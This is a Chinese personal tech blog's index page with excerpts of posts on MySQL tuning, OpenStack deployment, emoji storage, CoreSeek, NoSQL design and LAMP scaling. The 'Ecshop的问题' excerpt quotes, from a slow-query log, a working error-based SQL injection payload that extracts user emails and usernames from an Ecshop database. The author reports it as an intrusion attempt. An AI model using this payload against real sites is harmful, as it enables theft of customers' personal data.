谈一个MySQL语句的优化

事情是这样:数据库是MySQL,有若干个连接保持每秒2~3条的速度向表同一个表里写入“日志型”记录。表的结构除了一个必要的自增主键id之外,还有一个做了索引的type(tinyint)、time(timestamp)和一个ipc(float)类型的字段。一个读进程定时会要抓取每种type的最后一条记录。数据库的读写都很热,所以要尽可能的保证性能。

继续阅读“谈一个MySQL语句的优化”

推荐阅读:
算起来Litrin在生产环境中
emoji是iso和Mac O
上次提到过Coreseek的安

搭建Openstack集群

算起来Litrin在生产环境中采用虚拟机已经有相当长的历史了——即便当下您所看到的Litrin.net那也是跑在一套KVM虚拟机中。虚拟机的简单灵活、成本低廉是实体机不可比拟的优势,不过作为虚拟机的几个突出问题虚拟机在部署、管理以及较复杂的网络环境的支持上,还是有很多的不便。记得很早之前,Litrin曾经计划通过Openstack来解决这个问题,但当初在被云山雾罩的官方安装手册带着绕了一个多礼拜后无果,只能放弃。

近期,得到一个机会,受高人指点,用最快的方式完成了一整套Openstack的部署。这就有点像游戏的“最速攻略”,只要你一步步追寻着这个手册的内容,绝对保证可以部署成功。但带来另一个问题就是,这是最精简的方法了,只要一个不留神,错过任何一步操作,部署都有可能失败。而且通过这个文档完成的部署,你可能还是无法领悟Openstack的复杂结构。所以,这只能是一个参考,如果需要对你的集群做任何的调整,还需要在此基础上多次自行完成部署。

继续阅读“搭建Openstack集群”

推荐阅读:
自打从硬件方向研究性能优化起,
之前我们通过几个概念简单的介绍

MySQL保存emoji

emoji是iso和Mac OS系统特有的一系列“表情符号”在微博+ios设备泛滥的今天,很多人的微博中都会嵌入类似的表情符号。不同于传统上UTF8字符的3个字节(中文地区的传统),emoji采用了4个字节的编码方式。这一个不算大的改变会导致系统出现类似的报错。

Incorrect string value: ‘\xF0\x9F\x8C\x9FVi…’ for column ‘nick_name’ at row 1

继续阅读“MySQL保存emoji”

推荐阅读:
事情是这样:数据库是MySQL
算起来Litrin在生产环境中
上次提到过Coreseek的安

CoreSeek Python数据源的基类

上次提到过Coreseek的安装一文,我个人建议Coreseek最好采用Python作为数据源,相对灵活性很大。这次我就分享一下我写的一个CoreSeek的Python数据源基类。

这个基类的优势在于特别是对于“分库分表”的MySQL来说,支持直接多进程并发读库,性能超强。而且对于Python2.6以下不具有多进程特性的用户来说,这个基类支持通过线程来模拟进程,完全透明!

该库已经在生产环境中使用。

继续阅读“CoreSeek Python数据源的基类”

推荐阅读:
深入读了读python的官方文
正值毕业季,这些天一直忙于面试
尽管现在有了wheel这类更为

Key-Value式数据结构设计

近一年来始终专注于No-SQL技术和大并发下的数据结构。整理一下思路。

之前从事的行业以企业管理和电子商务系统为主,这样的系统比较注重于对于数据的描述和事物化的流程管理。这样的模式自然是SQL的强项,特别是企业信息化管理系统和电子商务中的帐务结算子系统,这类系统对于数据的原子性和一致性的要求近乎苛刻,根据CAP原则,只能放弃性能作为代价。后来辗转到互联网行业,特别是SNS的开发和运维中,很多思维模式必须要打破。SNS,特别是Feed部分的数据结构,绝对是SQL模式的噩梦——Feed分发、个性化增删改加上分库分表的物理结构让传统上的SQLDB疲于应付,即便实现成功,也始终无法摆脱“硬撑”的嫌疑。

继续阅读“Key-Value式数据结构设计”

推荐阅读:
Redis在2.6之后增加了基
众所周知redis的持久化有A
碰到一个悲催的事情:一台Red

Mysql Innodb的两种表空间方式

要说表空间,Mysql的表空间管理远远说不上完善。换句话说,事实上Mysql根本没有真正意义上的表空间管理。Mysql的Innodb包含两种表空间文件模式,默认的共享表空间和每个表分离的独立表空间。只要在my.cnf里面增加innodb_file_per_table=1就可以从共享表空间切换到独立表空间。当然对于已经存在的表,则需要执行alter table MY_TABLE engine=innodb命令迁移数据。

继续阅读“Mysql Innodb的两种表空间方式”

推荐阅读:
事情是这样:数据库是MySQL
算起来Litrin在生产环境中
emoji是iso和Mac O

从SQL到NoSQL

之前接触到的基于LAMP平台的网站,凡是稍微有一点量上去的,在数据结构的设计上总是离不开“拆库拆表”。同样,作为网站的数据结构设计,很少会出现类似ERP系统才会应用到的函数(function)、存储过程(procudce)、触发器(trigger)什么的——曾经看过有ERP系统的所有逻辑都是通过这3者保存在数据库端的。加上MySQL本身的一些因素,用之前一个朋友的话说:“Mysql在网站中的地位更多的是一个数据容器,而不是完整意义上的数据库。”

继续阅读“从SQL到NoSQL”

推荐阅读:
Redis在2.6之后增加了基
众所周知redis的持久化有A
近一年来始终专注于No-SQL

Ubuntu上Coreseek+php的安装

Coreseek是一个基于sphinx引擎,支持与mmseg中文分词模块合作完成中文的全文搜索引擎。相对sql这类操作,Coreseek负载可谓是微不足道。当然类似的索引服务器还有给予Java的solr等。我选择coreseek的主要原因之一是他可以通过配置后可以与现有的mysql客户端兼容,并可以直接嵌入到mysql中成为mysql的引擎之一。

首先,下载安装包,我选择的是最新的stable版, 不过不客气的说,即便是coreseek的stable版本,不论是从稳定性、兼容性还是灵活性上都不能算是完善,至少无法跟apache这类经典应用相提并论。

继续阅读“Ubuntu上Coreseek+php的安装”

推荐阅读:
5月中旬,我参加了在加利福尼亚
之前发过一个帖子介绍了RDT在
继续在NUMA和性能差异的路上

Ecshop的问题

在看一台服务器的SQL-Slow日志,看到了如下的一纪录,惊出了一身冷汗!

SELECT pg.package_id, pg.goods_id, pg.goods_number,
        pg.admin_id, g.goods_sn, g.goods_name, g.market_price, g.goods_thumb, g.is_real,
        IFNULL(mp.user_price, g.shop_price * '1') AS rank_price
FROM `ecs_`.`ecs_package_goods` AS pg
        LEFT JOIN `ecs_venusveil`.`ecs_goods` AS g ON g.goods_id = pg.goods_id
        LEFT JOIN `ecs_venusveil`.`ecs_member_price` AS mp ON mp.goods_id = g.goods_id AND mp.user_rank = '0'
WHERE pg.package_id = -1
union all
        select 1,2,3,4,5,6,7,8,count(*),concat(
                (Select concat(0x5b,email,0x3a,user_name,0x5d)
                        FROM ecs_users
                        LIMIT 9456,1), floor(rand(0)*2))x
         from information_schema.tables
         group by x
ORDER BY pg.package_id, pg.goods_id;

继续阅读“Ecshop的问题”

推荐阅读:
自打从硬件方向研究性能优化起,
之前我们通过几个概念简单的介绍

高负载的Lamp架构

记得那时是2005年10月,开源小站刚上线不久的一篇文章。那时的我还仅仅将网站的高可用性和大负载,大流量集中在“堆硬件”的层面上。包括之后的一篇文档,似乎也没有逃脱这个范畴。之后由于工作内容的关系,始终没有再继续探讨这个问题。仅仅只在一篇关于GAE的文章中讲述了一下架构的趋势。

时隔了5年多,不妨回头重新从新的高度上说说LAMP结构的网站如何支撑尽可能大的负载。同样说明,本文代表站长Litrin的个人意见,欢迎共同探讨,但喷子慎入。

继续阅读“高负载的Lamp架构”

推荐阅读:
自打从硬件方向研究性能优化起,
之前我们通过几个概念简单的介绍